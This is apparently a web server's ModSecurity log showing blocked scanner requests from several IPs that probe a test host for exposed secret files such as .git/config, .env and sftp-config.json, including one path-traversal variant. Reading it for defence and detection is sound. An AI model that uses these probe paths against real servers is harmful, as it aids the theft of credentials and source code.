[Sat May 10 16:56:10.281173 2025] [:error] [pid 3067185] [client 179.43.188.122:59760] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "aB9pCgztxu2a_n5GBtbq6QAAAAw"]
[Sat May 10 16:56:10.281306 2025] [:error] [pid 3067185] [client 179.43.188.122:59760] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "aB9pCgztxu2a_n5GBtbq6QAAAAw"]
[Sat May 10 16:56:10.351317 2025] [:error] [pid 3059024] [client 179.43.188.122:59692] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /frontend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.git/config"] [unique_id "aB9pCgh6b8dRWg3KKdxSSgAAAAQ"]
[Sat May 10 16:56:10.351544 2025] [:error] [pid 3059024] [client 179.43.188.122:59692] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.git/config"] [unique_id "aB9pCgh6b8dRWg3KKdxSSgAAAAQ"]
[Sat May 10 16:56:10.351722 2025] [:error] [pid 3059024] [client 179.43.188.122:59692] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.git/config"] [unique_id "aB9pCgh6b8dRWg3KKdxSSgAAAAQ"]
[Sat May 10 16:56:10.353021 2025] [:error] [pid 3059026] [client 179.43.188.122:59586] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /source/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/source/.git/config"] [unique_id "aB9pCmh1gGJLjCIc8EYUpgAAAAY"]
[Sat May 10 16:56:10.353056 2025] [:error] [pid 3059063] [client 179.43.188.122:59688] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "aB9pCl8Bv4Iz2i7jipDdrwAAAAs"]
[Sat May 10 16:56:10.353265 2025] [:error] [pid 3059063] [client 179.43.188.122:59688] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "aB9pCl8Bv4Iz2i7jipDdrwAAAAs"]
[Sat May 10 16:56:10.353269 2025] [:error] [pid 3059026] [client 179.43.188.122:59586] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/source/.git/config"] [unique_id "aB9pCmh1gGJLjCIc8EYUpgAAAAY"]
[Sat May 10 16:56:10.353410 2025] [:error] [pid 3059026] [client 179.43.188.122:59586] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/source/.git/config"] [unique_id "aB9pCmh1gGJLjCIc8EYUpgAAAAY"]
[Sat May 10 16:56:10.353411 2025] [:error] [pid 3059063] [client 179.43.188.122:59688] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "aB9pCl8Bv4Iz2i7jipDdrwAAAAs"]
[Sat May 10 16:56:10.356208 2025] [:error] [pid 3059025] [client 179.43.188.122:59550] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /files/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/files/.git/config"] [unique_id "aB9pCklfkBaUm4lz7nyFAAAAAAU"]
[Sat May 10 16:56:10.356262 2025] [:error] [pid 3059057] [client 179.43.188.122:59564] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /laravel/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.git/config"] [unique_id "aB9pCiMUhQ8W_ipCq8iSSQAAAAI"]
[Sat May 10 16:56:10.356392 2025] [:error] [pid 3059025] [client 179.43.188.122:59550] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/files/.git/config"] [unique_id "aB9pCklfkBaUm4lz7nyFAAAAAAU"]
[Sat May 10 16:56:10.356445 2025] [:error] [pid 3059057] [client 179.43.188.122:59564] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.git/config"] [unique_id "aB9pCiMUhQ8W_ipCq8iSSQAAAAI"]
[Sat May 10 16:56:10.356538 2025] [:error] [pid 3059025] [client 179.43.188.122:59550] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/files/.git/config"] [unique_id "aB9pCklfkBaUm4lz7nyFAAAAAAU"]
[Sat May 10 16:56:10.356589 2025] [:error] [pid 3059057] [client 179.43.188.122:59564] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.git/config"] [unique_id "aB9pCiMUhQ8W_ipCq8iSSQAAAAI"]
[Sat May 10 16:56:10.357446 2025] [:error] [pid 3059055] [client 179.43.188.122:59568] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js../.git/config"] [unique_id "aB9pCn0QE4ypGnyWNt4RagAAAAA"]
[Sat May 10 16:56:10.357616 2025] [:error] [pid 3059055] [client 179.43.188.122:59568] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js../.git/config"] [unique_id "aB9pCn0QE4ypGnyWNt4RagAAAAA"]
[Sat May 10 16:56:10.357768 2025] [:error] [pid 3059055] [client 179.43.188.122:59568] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js../.git/config"] [unique_id "aB9pCn0QE4ypGnyWNt4RagAAAAA"]
[Sat May 10 16:56:10.409226 2025] [:error] [pid 3067186] [client 179.43.188.122:59538] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.git/config"] [unique_id "aB9pChK3b1AoE3OaIYRoUwAAAA0"]
[Sat May 10 16:56:10.409513 2025] [:error] [pid 3067186] [client 179.43.188.122:59538] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.git/config"] [unique_id "aB9pChK3b1AoE3OaIYRoUwAAAA0"]
[Sat May 10 16:56:10.409727 2025] [:error] [pid 3067186] [client 179.43.188.122:59538] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.git/config"] [unique_id "aB9pChK3b1AoE3OaIYRoUwAAAA0"]
[Sat May 10 16:56:14.450668 2025] [:error] [pid 3067184] [client 179.43.188.122:46880] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.git/config"] [unique_id "aB9pDqiN8j380ERTCMxEOQAAAAk"]
[Sat May 10 16:56:14.450947 2025] [:error] [pid 3067184] [client 179.43.188.122:46880] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.git/config"] [unique_id "aB9pDqiN8j380ERTCMxEOQAAAAk"]
[Sat May 10 16:56:14.451136 2025] [:error] [pid 3067184] [client 179.43.188.122:46880] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.git/config"] [unique_id "aB9pDqiN8j380ERTCMxEOQAAAAk"]
[Sat May 10 23:55:56.836049 2025] [:error] [pid 3059024] [client 13.38.78.159:60906] [client 13.38.78.159] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aB_LbAh6b8dRWg3KKdxSaQAAAAQ"]
[Sat May 10 23:55:56.837130 2025] [:error] [pid 3059024] [client 13.38.78.159:60906] [client 13.38.78.159] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aB_LbAh6b8dRWg3KKdxSaQAAAAQ"]
[Sat May 10 23:55:56.837312 2025] [:error] [pid 3059024] [client 13.38.78.159:60906] [client 13.38.78.159] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aB_LbAh6b8dRWg3KKdxSaQAAAAQ"]
[Sun May 11 16:49:05.006767 2025] [:error] [pid 3076462] [client 194.50.16.252:41524] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCC44YHVl2qULKV2Q7OcwgAAAAM"]
[Sun May 11 16:49:05.007043 2025] [:error] [pid 3076462] [client 194.50.16.252:41524] [client 194.50.16.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCC44YHVl2qULKV2Q7OcwgAAAAM"]
[Sun May 11 16:49:05.007220 2025] [:error] [pid 3076462] [client 194.50.16.252:41524] [client 194.50.16.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCC44YHVl2qULKV2Q7OcwgAAAAM"]
[Sun May 11 16:49:08.820422 2025] [:error] [pid 3088567] [client 194.50.16.252:41526] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aCC45CHu7QdF0sduVqOy0AAAAAc"]
[Sun May 11 16:49:08.820706 2025] [:error] [pid 3088567] [client 194.50.16.252:41526] [client 194.50.16.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aCC45CHu7QdF0sduVqOy0AAAAAc"]
[Sun May 11 16:49:08.820893 2025] [:error] [pid 3088567] [client 194.50.16.252:41526] [client 194.50.16.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aCC45CHu7QdF0sduVqOy0AAAAAc"]
[Sun May 11 16:49:14.381388 2025] [:error] [pid 3088568] [client 194.50.16.252:41532] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aCC46oRsOtyKZJOEFWlhlQAAAAg"]
[Sun May 11 16:49:14.381669 2025] [:error] [pid 3088568] [client 194.50.16.252:41532] [client 194.50.16.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aCC46oRsOtyKZJOEFWlhlQAAAAg"]
[Sun May 11 16:49:14.381869 2025] [:error] [pid 3088568] [client 194.50.16.252:41532] [client 194.50.16.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aCC46oRsOtyKZJOEFWlhlQAAAAg"]
[Sun May 11 16:49:16.013161 2025] [:error] [pid 3088569] [client 194.50.16.252:38298] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aCC47DGjUcwY2rQyPUUW2gAAAAk"]
[Sun May 11 16:49:16.013454 2025] [:error] [pid 3088569] [client 194.50.16.252:38298] [client 194.50.16.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aCC47DGjUcwY2rQyPUUW2gAAAAk"]
